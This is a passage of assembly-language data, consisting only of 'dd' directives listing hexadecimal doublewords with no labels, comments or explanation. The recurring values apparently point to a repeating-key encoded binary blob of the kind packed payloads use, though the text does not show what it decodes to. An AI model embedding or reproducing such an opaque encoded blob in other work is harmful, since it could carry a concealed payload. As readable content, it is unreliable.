0AC1B620Dh, 72DC451Ah, 156ACB53h dd 34E51132h, 42E1D77Dh, 203F7732h, 0A09993F7h, 129C1997h dd 156686DBh, 4A561532h, 7DDAA48Ch, 0A57D9134h, 1A730B59h dd 15664FBAh, 0AA694232h, 2B990CDh, 740B1D4Eh, 2F84C1BFh dd 9D6925C8h, 15661123h dd 156684DBh, 0C68C5932h, 0C3449197h, 191E8D78h, 0FCB6772Ch dd 15664421h, 0F484A4BEh, 9AC386C1h, 0DA41D29Ah, 578FBA01h dd 9CC3146Ah, 149555B7h, 90A0743Ah, 129C4257h, 4EA2D71h dd 75661132h, 156680DBh, 779DBD32h, 8D794087h, 74077136h dd 4E505D5Ah, 0FC3124D7h, 1566223Bh, 71BC374Ch, 833FBA40h dd 0E2ED1D7Dh, 0B0D3DD53h, 0FC61EB3Ah, 15668820h, 0CC03649Fh dd 1D03FBA3h, 0DB8D5600h, 9782FEEh, 90EBBFEFh, 129C18D0h dd 1560F852h, 71108832h, 627147Ch, 68F43CAh, 35661132h dd 80791D1Eh, 0ACA2C532h, 79F99D7Fh, 5A0A3B40h, 0C5990EC2h dd 55E3CDCAh, 756E23C1h, 90A070CBh, 129C8E57h, 1569AD71h dd 4F422232h, 2A3AA9E9h, 0A85CEBB4h, 3730BF7Fh, 27874A69h dd 0EA93FB98h, 0EF6E2D87h, 0AA692435h, 0DEDE44FDh, 90EB70BEh dd 129CB2D0h, 0BDD92252h, 0C59943CCh, 12E31ECBh, 1A668832h dd 156645B7h, 90EFDA32h, 1D67E27Ah, 70E34EC7h, 5661BE34h dd 0B9514AC7h, 956995C3h, 15668825h, 156656DBh, 0DBF33732h dd 80E8FB14h, 3425A7DBh, 0B0FB0BDh, 1A086F9Ch, 156619B6h dd 17E38732h, 75664432h, 0B0D3DD53h, 0EC61EB3Ah, 0F7E305CAh dd 7561BE08h, 34309889h, 1563F94Eh, 25F08832h, 7561ACD8h dd 0EA077B53h, 90EFE4E2h, 1D677B7Eh, 70E382CBh, 5A61D834h dd 156602DBh, 43DC5C32h, 0DBCD3A71h, 776CBEAEh, 5D7435Ch dd 6656FD91h, 20F6905Ah, 0CEDF42A5h, 0FC143624h, 15668837h dd 73FD441Dh, 0A0994356h, 129C1997h, 0F7E305CBh, 7561BE08h dd 1562A63Dh, 0AB001132h, 0FBDEC477h, 744F2BE7h, 1D8FF2CDh dd 14661132h, 53714D19h, 9C0531DEh, 149572B7h, 90A0E43Ah dd 129C8E57h, 8E34B7Dh, 75662232h, 156602DBh, 0F7C45632h dd 0A849C757h, 85B64CA2h, 2DFBB389h, 6866497Eh, 74ADFB3Dh dd 7B68205Ah, 0CCED71CBh, 0DA860954h, 0A0992509h, 129C2A97h dd 1576F952h, 31748832h, 47ECFB60h, 3BB507A7h, 0F635168Bh dd 1A38B615h, 98078E8Dh, 0EF5CC0B7h, 0C599E835h, 41E301CAh dd 756E45C1h, 1A8EEB81h, 94661132h, 0B82E6DDCh, 0A3A54BCFh dd 9B55FD0Fh, 68FC18Eh, 15668832h, 16FA2762h, 0F0058555h dd 6024A5D9h, 5EDD1F6Bh, 743E86C2h, 1303A7F4h, 0FC2B16C8h dd 15668821h, 0E715B8B4h, 0DBBDA2F4h, 4E25D8FEh, 27B9BE80h dd 7D424276h, 0DD515B7Bh, 0B0D3EECEh, 0FC61723Ah, 15664422h dd 0E8940ABBh, 915D18DCh, 12BE98F2h, 0A1B0803Ah, 2F84A7BFh dd 9A6916C8h, 15668833h, 1AB6BBCAh, 156623B3h, 90EFE432h dd 1D677B6Eh, 1576C83Dh, 0FC062232h, 15661135h, 6F7B8F21h dd 436CF33Ch, 7306436Bh, 0FE80D2B3h, 15669CDBh, 0F99FE32h dd 0E6C9807Fh, 0D1BD17B7h, 371787C9h, 101AE52Eh, 90A0432Ah dd 129C1757h, 1A31E87Fh, 156644B3h, 1F8E7C32h, 8C661132h dd 0BBB2EA1Ah, 0C62C03D9h, 4FB3A8B7h, 58EF7953h, 9A6954C5h dd 15664425h, 156630DBh, 0E8FFC132h, 0B76C54F1h, 32335824h dd 0F3F57702h, 0EA02B6E0h, 0EF6E2D87h, 1EE54B35h, 0FC662232h dd 15661134h, 0CB267CDAh, 90EB7F1Eh, 129C18D0h, 15661EDBh dd 9FC33032h, 9AE21C12h, 5B8015A3h, 0C51C8670h, 996958CDh dd 15664433h, 4DE3ABCBh, 0EC6E10C1h, 13030DF4h, 1A3343C8h dd 15662EBAh, 13E91E32h, 1A668832h, 156644B5h, 38514A32h dd 92698D29h, 1566882Bh, 156650DBh, 0E5DE432h, 0DEC5EF9Fh dd 6DE97DDBh, 2D36EBBBh, 9F7A3F3Bh, 0B0D3EE03h, 1A61723Ah dd 156656B3h, 19EA2D32h, 0FC661132h, 15668835h, 7DD03095h dd 98157542h, 0EF5CF3B7h, 18E58735h, 0FC664432h, 1566223Ah dd 0A484A7ACh, 9AB754B2h, 730694CDh, 0D672F2B3h, 1EFDAE54h dd 90EF7453h, 1D67B752h, 1571AE3Dh, 78F1132h, 30668832h dd 0FA28869h, 33F9056h, 41E564Bh, 578C8A8Ah, 70E382A9h dd 5661D834h, 15679E3Dh, 0FC938832h, 15664420h, 33192FBAh dd 209F04FBh, 6E25457h, 9D0450E3h, 3F0E97DAh, 75B4C4C2h dd 15669BDBh, 2A12432h, 0AC01576Ah, 1B4E046Ch, 730806C7h dd 0CBBF0CA3h, 1DED2D53h, 1A661132h, 15668AB5h, 0EA072432h dd 0EF6E8787h, 6EB1E35h, 75668832h, 15664EDBh, 42187532h dd 0B02D5FD3h, 46347809h, 90EB256Ch, 129C18D0h, 1576923Dh dd 75068832h, 1560AC53h, 7EB32232h, 8AB45F44h, 0EA9AE969h dd 12E24BE2h, 1A662232h, 156610B2h, 90EF7D32h, 1D67B756h dd 156631DBh, 19C332h, 0B2A953EDh, 0E3B4EBA9h, 959FA4C7h dd 0CFE2B66h, 13030DF4h, 0E03443C8h, 57D2C85Ah, 0A099E8CFh dd 129C8097h, 0F7E3C9CEh, 0FC61D808h, 1566113Ah, 7A6059C7h dd 82FE6C4Dh, 9C9EF2CDh, 0EF7E7CB7h, 0CCE6E835h, 1AE84B14h dd 0FD662232h, 1566113Bh, 1AE39A40h, 6CCF2A69h, 0D30779D2h dd 0EF6074B7h, 7D9ECF35h, 0F7FE1DABh, 1562A83Dh, 0A0061132h dd 1F8FE9EDh, 4B664432h, 0C40C9A1Bh, 11350B1Fh, 0B0D3775Ch dd 0FC61BE3Ah, 15662234h, 2875810Ah, 90EB9268h, 129C7ED0h dd 75B6DDCBh, 0A269E1B9h, 90EFE9FDh, 1D67B75Ah, 156EA53Dh dd 93691132h, 15668830h, 90A02552h, 129C2457h, 138F7175h dd 46668832h, 0C6E43137h, 0E7ED44AFh, 75A47953h, 0FC0639CFh dd 15664437h, 0AAC95C6Dh, 1569F933h, 3FC68832h, 83EAB80h dd 398A8DE7h, 2D7671F3h, 1560617Bh, 94834432h, 30092EC5h dd 0A099706Ch, 129C8097h, 15664DDBh, 60A4C32h, 8C813FABh dd 90EB64B8h, 129C7ED0h, 156624DBh, 87E65632h, 0EAD68418h dd 2E34BE2h, 0FC662232h, 15661120h, 722A9E20h, 299B4C54h dd 0CF469ECCh, 0D4AB616Ch, 90EFEF85h, 1D67B75Eh, 1567A43Dh dd 1A931132h, 156680B6h, 17EB4B32h, 75662232h, 70E3D753h dd 52617234h, 0EB722CCEh, 9469FD94h, 15661133h, 0B0D377CEh dd 0FC61BE3Ah, 15662226h, 0DCD1F2D1h, 7C8CFBC6h, 0F77AB1D6h dd 0E481347Dh, 6C87F946h, 2F840DBFh, 108F43C8h, 42662232h dd 9BE4AFF1h, 15756152h, 7E1D4432h, 5BC8239Eh, 8132EB08h dd 1BBED903h, 94199A17h, 156DCBFBh, 654F1132h, 0B88C879Ch dd 5224DA25h, 0C5994349h, 74064152h, 17E8876Ch, 75664432h dd 1A8F4353h, 20661132h, 5F433AEAh, 0F9A43B3Bh, 0D2ADA343h dd 90EF946Ah, 1D677B42h, 156650DBh, 0B6ABC832h, 163EA4D2h dd 391802F1h, 2F619EE9h, 0FBBDC27Bh, 70E3D7EDh, 4A617234h dd 15664CDBh, 61903132h, 4B3A98C5h, 0E70EE070h, 58FDA62h dd 0B6662232h, 61378414h, 7DE1D2BAh, 0AA68B619h, 75BE87A4h dd 8ABFC3B3h, 74938720h, 1DC3F1CDh, 940625C8h, 0BA29FCE3h dd 74943E2Ch, 2F84C1BFh, 1A0625C8h, 156613BAh, 1A07E832h dd 156647B0h, 0EAD92D32h, 11EC1E53h, 75668832h, 0EA07B3B9h dd 9E06DAE2h, 90EF70CCh, 1D677B46h, 0FCD4F652h, 15662223h dd 2EE0D62Bh, 14B273E9h, 53BA5B34h, 0BCE85499h, 90A070EBh dd 129C8E57h, 1CE04B7Dh, 75662232h, 15E91EC7h, 74668832h dd 0E91D7B5Ah, 6D642F5h, 0C4A6018Dh, 0A099E94Ch, 129C4C97h dd 0E007DA52h, 2F8494BFh, 94068FC8h, 4B5B83C2h, 17E72D12h dd 9E661132h, 0C599E9F8h, 15664BDBh, 1BD10032h, 69AB7D8h dd 2909C5DBh, 573A29C2h, 15662EDBh, 30F66B32h, 8273AFD2h dd 24307CD5h, 0B5E3ABD1h, 756E10C1h, 15E98752h, 1A664432h dd 156622B5h, 0D7E77032h dd 43F5DFA9h, 70E38253h, 5261D834h, 1A7CA252h, 15668EBCh dd 15E14B32h, 74662232h, 7B2A79CAh, 0EA937269h, 0EF6EE187h dd 1561CB35h, 0C8AA1132h, 5D812F99h, 0F7E3C9EDh, 0FC61D808h dd 15661121h, 0D7AB2B9Ah, 4A89CB10h, 99E8E155h, 5482D4D4h dd 0EAF4116Dh, 996924E2h, 15662237h, 7FBE9989h, 0FC890871h dd 0B1E3CD53h, 1A6E23C1h, 15661BB9h, 9269E832h, 15664432h dd 0D3077960h, 0EF6074B7h, 0FC9ACF35h, 1566443Dh, 0E79B0C7Dh dd 61360A52h, 0B43B158Bh, 7DAC93C1h, 0D66006FFh, 0A099E9CAh dd 129C8097h, 1568CC3Dh, 1C8F2232h, 6B661132h, 67025214h dd 5AF01D00h, 2F84A7BFh, 1D8F16C8h, 9E668832h, 446CA192h dd 0EA9AD9B1h, 78E71E2h, 32668832h, 91AE69Ah, 0D017C89h dd 31B434B8h, 0C1D55F20h, 15EA4B4Bh, 4E662232h, 742DFDB2h dd 0E6CE0DBBh, 97694C33h, 15662222h, 15661ADBh, 4CA79F32h dd 98249849h, 7C9C8340h, 130394F4h, 0FC398FC8h, 15664434h dd 3E01550Bh, 0D90E6241h, 1AB23352h, 156645BBh, 0A099DB32h dd 129C1997h, 0F7E305CBh, 1A61BE08h, 156628B6h, 74067132h dd 1566063Dh, 0EA074432h, 1560CBE2h, 0A1101132h, 0FED8E2DDh dd 0E61EC1BBh, 198F2A33h, 0E5661132h, 0CB414BBCh, 0B155B9FBh dd 0D3CAC83Eh, 0EF6074B7h, 9569D735h, 15664433h, 41284ACAh dd 92698FDBh, 15668820h, 237CFE52h, 108E00B0h, 34661132h dd 0B4EB037Ch, 9D692569h, 15662226h, 2ADF7752h, 156F6134h dd 8FBC4432h, 0A353227Bh, 74D159FDh, 1DC33DCDh, 989F43C8h dd 0EF5CC0B7h, 14EB1E35h, 0E9668832h, 0F3B6FE52h, 0EA073090h dd 0A26971E2h, 3A8809C8h, 7454969Ch, 0E61AA7BBh, 9B691933h dd 15668833h, 70E382CAh, 4A61D834h, 3D2E79CAh, 188F5921h dd 40664432h, 18A61529h, 6F391D75h, 255103FAh, 156ECC3Dh dd 90692232h, 15661130h, 0A099E952h, 129C4C97h, 0F7E3AFC7h dd 1A61EB08h, 156689B9h, 0C599B832h, 0C2E74452h, 68E94A8h dd 0DA668832h, 0E4737522h, 123BB108h, 0D62BE445h, 0EC268DEh dd 9769CD76h, 15662232h, 90EF706Ah, 1D677BB2h, 10E14B52h dd 0AD662232h, 2727C2AEh, 1A62E253h, 156645B2h, 188FD732h dd 0D3661132h, 0E2C48D9Ch, 8C3CF6C5h, 9B52FA75h, 1576115Ah dd 7D937432h, 15665432h, 74B1A852h, 95691158h, 15668825h dd 156656DBh, 0D3474A32h, 861DC7C7h, 0DB65FDBEh, 32DF4A16h dd 0EAC86296h, 0EF6D94A7h, 15696135h, 1014432h, 7B458B9Ah dd 0E3F00F93h, 13FB70A3h, 90E3CD91h, 0ED61D825h, 156618DBh dd 7B5EC732h, 4A146FDAh, 90EB98B2h, 1D674CE7h, 15668FDBh dd 0C77E5B32h, 0ACC5D6CBh, 75B6EECBh, 7F070785h, 12E54B36h dd 1A662232h, 156610B4h, 150E7132h, 0ED664422h, 1546225Ah dd 0DEC1E32h, 75668832h, 15664FDBh, 2FEBB832h, 8CEDCB35h dd 35D1FC04h, 1566C43Dh, 7F072232h, 1560F832h, 5878832h dd 25018241h, 1EE3B7CDh, 9C9F16C8h, 0EF6161B7h, 156DAD35h dd 1A5B2232h, 0D5F17931h, 44F05B1Fh, 1577AD45h, 9CCB2232h dd 0CE485478h, 583A8E1Eh, 6F5E8F76h, 9C96E029h, 0EF6410B7h dd 73067435h, 24768CB3h, 2F345D8Bh, 550C7008h, 156681DBh dd 0A2E4F532h, 57C86F5Ch, 150EBF85h, 1A668822h, 15664BB8h dd 156CCB32h, 3D501132h, 0F09F6DABh, 8D50A2Bh, 1466225Ah dd 1563F832h, 59058832h, 7F8FC0B0h, 4E62D32h, 1A661132h dd 156683BFh, 1560AD32h, 44EE2232h, 8CB72FC3h, 1EE31DCDh dd 108F43C8h, 43662232h, 0DB827DEBh, 0B7B0DBBh, 128F43C8h dd 7A662232h, 0C8D3EEE9h, 0A0EDE1E8h, 129C621Fh, 1567AB3Dh dd 0E99F1132h, 3E315B9h, 9E6943C8h, 15662233h, 0ECD398CAh dd 1A617211h, 156645B7h, 88EFDB32h, 129C171Bh, 157F093Dh dd 18F4432h, 0BD662232h, 787FD388h, 0A08074D9h, 0AF286ABCh dd 6336AF1Ah, 9EBF5BE7h, 0EF700DAFh, 0AD36B835h, 15662232h dd 6A29FF37h, 38BE892Bh, 0C190BDCh, 1A3E2AB9h, 156606BCh dd 15746132h, 7C6C4432h, 0FD5543F6h, 9992D584h, 0DF466D6h dd 37F1BEFDh, 159FA1CEh, 2CBC953Dh, 75068832h, 3E82E78Ah dd 80709C31h, 0AF076E65h, 628EC68h, 0F3EF1253h, 1562E4B3h dd 0FBE71132h, 15668836h, 494270B5h, 0E04226BBh, 10869862h dd 15668836h, 1566401Fh, 3162A532h, 316A986Eh, 0E5D98752h dd 15664ADAh, 0DE372032h, 97B5C845h, 494864A3h, 75A86CE7h dd 75077D53h, 1561963Dh, 93698832h, 15664433h, 0ECA613CEh dd 2B94BBh, 9C698FC8h, 1566443Fh, 15662ADBh, 0D9117932h dd 92688212h, 118AC72Eh, 7D420EBBh, 1C0575A8h, 0F6AB096Fh dd 9405FD7Fh, 0EE0B9DDFh, 48889859h, 13E08752h, 1A664432h dd 156622B5h, 0D7ED7732h, 15766153h, 0DD7A4432h, 6A671D3Fh dd 46B03B8h, 15D1DC49h, 0FBE78E61h, 759479D9h, 35426531h dd 4E8D3765h, 0EB6724C0h, 14E02D6Dh, 0ED661132h, 1A062554h dd 15664BBFh, 156CCB32h, 66561132h, 0E9C3BAD4h, 1D5B4D2Ah dd 7490953Dh, 4776B337h, 616D8D7Ch, 51653E48h, 1E4B0216h dd 381C6B46h, 5B349890h, 15664ADBh, 88C02F32h, 0ECAE49A6h dd 4D111C10h, 0EAF078E7h, 21ED5A42h, 11A29216h, 92D9DFCEh dd 3C06CD0Dh, 61657DCCh, 0D3E73116h, 75EFB7B5h, 15664BDBh dd 8EE87A32h, 7270DED6h, 0ED9155F2h, 0A6298121h, 9E7E54CDh dd 0D1E7350Eh, 15668836h, 4195C552h, 1A40EEEEh, 156613B1h dd 7407E832h, 397FF9BBh, 1C8F25C8h, 0F9661132h, 0A9913991h dd 7CE51B59h, 0EAE34352h, 154D943Dh, 198F8832h, 0E6664432h dd 4807A49Fh, 763FC8AFh, 0FD4226C5h, 15662567h, 1053CBC7h dd 98691132h, 15668833h, 17E94BCBh, 75662232h, 0F0EF4453h dd 15624DB3h, 0F8E54432h, 314AA536h, 316A986Eh, 124E0CBh dd 29EF4432h, 1A067816h, 156612B0h, 0EFD18732h, 11B42F53h dd 156631DBh, 0A123C932h, 0C164C206h, 49FC9BBCh, 80682AB3h dd 5CDA0C5Bh, 156A023Dh, 90694432h, 15662234h, 15669B3Dh dd 80EF8832h, 129C6DD3h, 1561A33Dh, 97691132h, 15668833h dd 75622ECAh, 1AA5A954h, 7D07C785h, 15669832h, 156FC93Dh dd 0EC062232h, 97F1C6B3h, 0FC07FA50h, 15664439h, 95B28E82h dd 19EEF7EBh, 7D5F6FBCh, 15666828h, 754236BBh, 0AD004F63h dd 1A0713EAh, 156657B1h, 1568CB32h, 0CE761132h, 1BA449CCh dd 5754FDh, 48F518C3h, 0EA9F1158h, 0EF6D0DA7h, 19E44B35h dd 0FC662232h, 15661135h, 6DB9F461h, 9C42B6CBh, 0EF738FB7h dd 156CF835h, 5BE88832h, 8BF58968h, 661495D4h, 45A59861h dd 0D7EF50BBh, 95691F6Ah, 1566223Bh, 0AD077152h, 5A6D30D3h dd 3152BB53h, 11A2A16Bh, 754DF9CEh, 73068832h, 0E502A6B3h dd 80B0A252h, 7407C0B9h, 94870163h, 156640F3h, 118FA332h dd 92661132h, 9C3AAC3Eh, 44066006h, 1566A33Dh, 943E1132h dd 0E10F8D2h, 0ECCB2543h, 2B700437h, 4E8C1461h, 5165B3FAh dd 0FF4B6016h, 385DEA69h, 46580714h, 156682DBh, 0CB96B332h dd 41D2076Eh, 2464A74Ch, 24A1B9CAh, 18E14BCAh, 0FC662232h dd 1566113Ah, 550F662Fh, 7D1160CFh, 314AA365h, 6782076Fh dd 94DBDD69h, 9415877Ah, 35ABFEF7h, 488D10CDh, 156687DBh dd 1371C132h, 72DBE6F7h, 945DE5C3h, 1974AB5Fh, 9480CD64h dd 156626F4h, 11889032h dd 92668832h, 9C3A6006h, 128F060Eh, 1A661132h, 0EA471B6Ch dd 94695789h, 1566222Dh, 157F923Dh, 18F8832h, 89664432h dd 162B975Dh, 6D50E414h, 0F4CD0A4h, 81C45438h, 25268BC5h dd 4E31EF2h, 1A668832h, 15664FB6h, 1560CB32h, 14731132h dd 0F0C8EE47h, 0FC9B319Ch, 15662238h, 0F5648F65h, 874D4028h dd 1A066321h, 0A269E58Dh, 219970E8h, 0D1E7D616h, 15664436h dd 1569AD3Dh, 1F8F1132h, 0F4668832h, 1E6FDADEh, 81F22B23h dd 0EB8990C3h, 3C369950h, 0EBDB11EDh, 14363350h, 94694CDDh dd 1566883Ch, 15664DDBh, 0A6F83432h, 9851CFDFh, 9C30FEA7h dd 11A0C5D4h, 94662232h, 156615DCh, 31520F32h, 3172CD6Eh dd 1576A13Dh, 0FD061132h, 1566883Ah, 8D41E908h, 0C5E1704Eh dd 0F9E5706Ah, 315A0136h, 83DD2468h, 1A7D7908h, 9E07E28Dh dd 0EF710D8Fh, 5EA4B35h, 0FC662232h, 15661139h, 0A8F51276h dd 0B51EDEh, 0AC2EA9F9h, 0EA99EECDh, 1572003Dh, 9B694432h dd 1566223Ch, 156618DBh, 3B8F3A32h, 36800645h, 0D557880Fh dd 15DF40CBh, 14668832h, 9E67CEC3h, 0D1E5063Eh, 0DD56E836h dd 156683DBh, 4CBBDE32h, 0FA38111Dh, 0D39718C6h, 432366B5h dd 753B1A67h, 0AA69DE52h, 9E0070C4h, 1F8FE9CCh, 4A664432h dd 6E8DA02Fh, 0D5AB98A4h, 925277F1h, 10F8FA64h, 61675C78h dd 4D381516h, 5F63161Fh, 1568AD4Ch, 0BAA62232h, 0EF6CB553h dd 32B229B6h, 0B6D0B56Bh, 1567AA3Dh, 0D4931132h, 1B8F80DBh dd 8A664432h, 942E4B14h, 8BDB744Eh, 76DB205Ah, 75A77589h dd 749FDAB8h, 30AA9152h, 15640C3Dh, 74064432h, 90696853h dd 0EA99EE68h, 156B6152h, 0F2134432h, 4F40DCD4h, 50E96907h dd 75A28C63h, 1566C03Dh, 0D6EC2232h, 0DC0E7053h, 9C66886Ah dd 0FC3E603Eh, 15662237h, 4461C674h, 0E2331D64h, 803B6026h dd 15662ADBh, 0A7620632h, 66897B8Bh, 3152BB45h, 11A2A368h dd 1A661132h, 15668CB3h, 0ECED2432h, 0D2EF7553h, 29ED2BBBh dd 11A20B16h, 1561C03Dh, 9A692232h, 15661133h, 110ED9CBh dd 4C664432h, 0FC3FE833h, 15661122h, 0BF97ADB1h, 8AB6C70Ah dd 1CA95F45h, 0AB8B82F8h, 1578E05Ah, 3172CD32h, 19E52DCAh dd 1A661132h, 15668EB4h, 15E04B32h, 0EA662232h, 0EF735CB7h dd 15606135h, 0F75A4432h, 0C05AE01Dh, 2B84B9h, 1C8F8FC8h dd 0A3664432h, 0B16C344Ah, 2EF3A137h, 397F1D0Bh, 916943C8h dd 1566226Dh, 3152EECEh, 11A20968h, 75664432h, 4B3F7462h dd 15661DDBh, 0B077A732h, 354B236Bh, 5606A8D7h, 1A0670D2h dd 128E5885h, 0B6664432h, 8084905Dh, 94008347h, 4D16AFDAh dd 3152BB53h, 11A2A16Ch, 15679C3Dh, 469F8832h, 15664089h dd 9EB82332h, 0D1E7352Eh, 15668836h, 0E930ADCBh, 9E9EDDCDh dd 9C373526h, 11A709D3h, 94664432h, 156626F3h, 316A9632h dd 9E00E86Eh, 0AC0024EDh, 0AC003CA5h, 74071E5Ch, 15669ADBh dd 0D7D1F232h, 0D0B7D0C6h, 0F9FDC767h, 34D4F44Ah, 0EA8B40DAh dd 96380606h, 58F15F6h, 0EA668832h, 51F23D37h, 0F6799142h dd 0A0AF1721h, 745285B5h, 48E2452h, 37662232h, 35A6651Bh dd 0AF0F30CCh, 0D5551DBBh, 752F981Bh, 743C406Ah, 193C7D8Ah dd 48F256Ch, 5E662232h, 83D25E1h, 686BCE54h, 6AB2FDAFh dd 0A6F5F2D5h, 43421DB9h, 0D3E76EBBh, 15664436h, 1562E4B3h dd 21E11132h, 9069D416h, 15664433h, 3162A9CEh, 94839867h dd 15668CF7h, 11A3C532h, 92662232h, 0ED3A351Eh, 340B0DF5h dd 156643C8h, 94692232h, 15661139h, 0E2D18752h, 756DB3B3h dd 0D20703C6h, 0EF47D4B7h, 15668835h, 0A8E5BC32h, 1D67D0DAh dd 34E21E32h, 1A668832h, 156648B2h, 13E82D32h, 1A661132h dd 156688B9h, 28FBC932h, 0EC6E228Fh, 9E06C2CDh, 74AC03CCh dd 14CBC1CDh, 750625C8h, 258E9054h, 15EE87AEh, 74664432h dd 1564A73Dh, 74061132h, 0B8DB0B53h, 7161BE33h, 1731A03Dh dd 0FD061132h, 15668821h, 0C48B710h, 0FFB7B333h, 5C882C4Dh dd 9DA97E2Eh, 9424DD9Dh, 7A4310E2h, 0E7E74B2Eh, 55FAF190h dd 0B8E38353h, 1461D833h, 1A661132h, 156699B4h, 156AAD32h dd 0A16B2232h, 2EC5BF4Eh, 7E92A934h, 75932585h, 0F6E74452h dd 9E0622B6h, 0D7EDEEEAh, 90EB2553h, 1D67504Eh, 1AB6EECEh dd 156689BCh, 0A0EBBD32h, 1D67D18Ah, 1560F8CBh, 62938832h dd 0D33BE4E1h, 94579FBFh, 1A061930h, 15668EB7h, 15E54B32h dd 0FC662232h, 15661123h, 23792877h, 34A1CE90h, 7BFB32D9h dd 1A663209h, 0AB30E99Eh, 4DBB5544h, 0CCCBCCB3h, 0E2673B0Dh dd 9491A16Ch, 88518DDDh, 0A269421Ch, 936947CAh, 15668832h dd 700E2569h, 9C66226Eh, 0FC3C350Eh, 1566883Ah, 8E484190h dd 0F2C72B76h, 2E3ACB9h, 94068FC8h, 2067CCD3h, 156FCB50h dd 0DFD61132h, 0B1CDD4D6h, 74682D36h, 0EA99DD8Bh, 1AEF1ECDh dd 0FC668832h, 15664438h, 0EC614DECh, 0B3FD51E5h, 0D5578671h dd 15DF15CBh, 14662232h, 9E679BC3h, 0D1E7AC3Eh, 15664436h dd 1AAE12CBh, 15661BBDh, 0DEE7E832h, 2E514402h, 43077B63h dd 0EA423DB1h, 11ED7D6Ch, 1DE44BB5h, 75662232h, 15669D3Dh dd 0D4078832h, 1A064CDBh, 7330E185h, 4E76338Dh, 75A7B953h dd 1562CD3Dh, 0AB002232h, 9E0020F0h, 1A2CE9C5h, 0EA99DDB7h dd 12E92DCDh, 1A661132h, 156689B1h, 9E37BD32h, 0D1E70636h dd 15661136h, 1561073Dh, 96694432h, 15662233h, 487E79CEh dd 11EF8832h, 3172B316h, 9E69426Ah, 15661132h, 905FE9C7h dd 129C4947h, 1505A63Dh, 97691132h, 15668835h, 1567C33Dh dd 0AD932232h, 1E256C59h, 0EC5CCB07h, 0EA8EC746h, 84D0307h dd 869E142Ah, 1E9E106Ah, 3DE34BF2h, 0ED662232h, 19B794F5h dd 15678FC8h, 0FD064432h, 1566223Dh, 7B5C8B87h, 0B6B96568h dd 0B300B908h, 1A5BAD52h, 156611B4h, 4507D632h, 4CDCFD63h dd 0DDEF2203h, 4DA7106Bh, 7306E9CAh, 0FCA00E88h, 15662223h dd 108AA772h, 0BDFDDA3Ah, 6E81B4E4h, 0A779DE60h, 0FC067080h dd 15668822h, 108008D5h, 0AE2D5698h, 0E97530EDh, 0A93F307Ch dd 118AC553h, 9C662232h, 50D83506h, 9C49C4EBh, 439E1AC3h dd 6F1B518Ch, 0FFA8901Dh, 9417EA74h, 0EA36E3D4h, 5C90A321h dd 4568EA42h, 22839F8Ah, 4DA06DEAh, 1A38D0BBh, 156610BEh dd 0FCCB7432h, 1566443Bh, 584A9AF9h, 0D722EF26h, 0ECD30101h dd 0FC61BE11h, 1566223Ah, 1CE5AE13h, 4AF28254h, 9C62A8B1h dd 15DE0636h, 9C661132h, 1A3E7474h, 15665CB2h, 7E52D32h dd 0FC661132h, 1566883Fh, 42EE03FBh, 5534049h, 72E93B55h dd 0FB88B581h, 9069AADCh, 156622EEh, 9C697152h, 15668832h dd 156655DBh, 37C7A832h, 92D27F9Eh, 0DDEB1860h, 0D6FD0F26h dd 0AF073790h, 339C6AB5h, 0C8580953h, 1ABB99EFh, 156689B7h dd 156AF832h, 0F0488832h, 20201BAh, 7E5201FDh, 0AF346845h dd 3934FBB6h, 6229F967h, 0F8A7502Eh, 0D0E75C37h, 3B5FC09Dh dd 943BAE03h, 8D39CEC0h, 4F70982Fh, 45623252h, 749F2EB0h dd 15629A62h, 0D3E71132h, 77BB340h, 0FBE78233h, 77B1940h dd 0A269716Ah, 5EB87C9h, 0FD664432h, 15662238h, 5B043B42h dd 0D5851634h, 74397D4Bh, 369F97BBh, 1B8F16C8h, 0EB668832h dd 56476BE5h, 44B44281h, 0BEC88549h, 38E6616Ch, 0FC934432h dd 0EA99DC9Bh, 1570933Dh dd 48F8832h, 45664432h, 0C41D5E3Dh, 0C8CA169Eh, 74ED8A79h dd 0B591315Ah, 9CA4AB60h, 31729AE1h, 0FC624CB1h, 1566443Bh dd 20C7651Ah, 7868812Fh, 0C4E3BB68h, 0EC61BE3Eh, 0ED65EAF3h dd 0D22B3C37h, 67988D2Ah, 0C54F4E7Eh, 5914DC1Fh, 584B3C38h dd 1E8F90F5h, 4F664432h, 4F45D767h, 0B3963EB2h, 0D5A76CE8h dd 1E64B22h, 1A662232h, 15661FBBh, 156F6132h, 94E94432h dd 0FBD76A4Bh, 24EEE3E7h, 9F0674FAh, 88EF25D5h, 129C2EE3h dd 15662CCAh, 96698833h, 15664671h, 156AA73Dh, 96691132h dd 15668834h, 1566CC3Dh, 2BE72232h, 0AEDDAA89h, 17430D3Dh dd 429F4432h, 1106F18Dh, 22A9907Dh, 941BA243h, 3B17B3DDh dd 15DD714Dh, 14661132h, 4E5D01C1h, 1E8F246Dh, 4C662232h dd 3F5A78A0h, 0CFF9B5C4h, 6ED8DF01h, 740B5738h, 156616DBh dd 0E1D0D032h, 0D2DA3774h, 15629860h, 0C3671132h, 96429CB9h dd 9F6940F6h, 1566223Fh, 156619DBh, 0B2F98832h, 8C7C7719h dd 0ECD3ABB5h, 0FC61EB11h, 15668820h, 36144350h, 2D3A815Bh dd 584419C7h, 0A7BEBD88h, 88ED0E17h, 129C34B7h, 15661DDBh dd 7130ED32h, 0AC4A801Ch, 0BD9D2D17h, 4255EE04h, 0F35388Dh dd 311A6D17h, 943F7D36h, 0F35A1F3h, 1C8EE817h, 81664432h dd 7BD1A083h, 0A224BF7Fh, 1566033Dh, 1A3E4432h, 156624B0h dd 15ED1E32h, 74668832h, 1577AD52h, 0CA5A2232h, 0F79B8F0Ah dd 0E3659554h, 0BAF9FCD6h, 73BF77A4h, 0D7BED7B3h, 1469E053h dd 29EF4432h, 9CA1AB16h, 1F8F4EC8h, 58668832h, 98310E81h dd 8507C187h, 75067190h, 0A4A90354h, 94692592h, 15662234h dd 15669F3Dh, 46078832h, 0CDEF97BBh, 96423EB9h, 9F6915F6h dd 15668833h, 9E0024CBh, 0A26942EAh, 156FF8C1h, 0E8128832h dd 0C4ED5642h, 74C492EEh, 0D0E33A53h, 1A61721Fh, 156648B2h dd 13E62D32h, 1A661132h, 156688B0h, 78E2432h, 1662232h dd 3198E51Ch, 0D6FC5CCCh, 0FB4FE8E1h, 0B94C10CFh, 4D077104h dd 15668EDBh, 0AA227532h, 749D153Eh, 1A64F1F3h, 156683B5h dd 1560AD32h, 219A2232h, 37441620h, 20470D31h, 459E43C8h dd 1562CEB3h, 21EF1132h, 7538D016h, 156643DAh, 0A13A1D32h dd 0FB90ACFFh, 15660A3Dh, 75384432h, 0A788A354h, 0C7DC77FBh dd 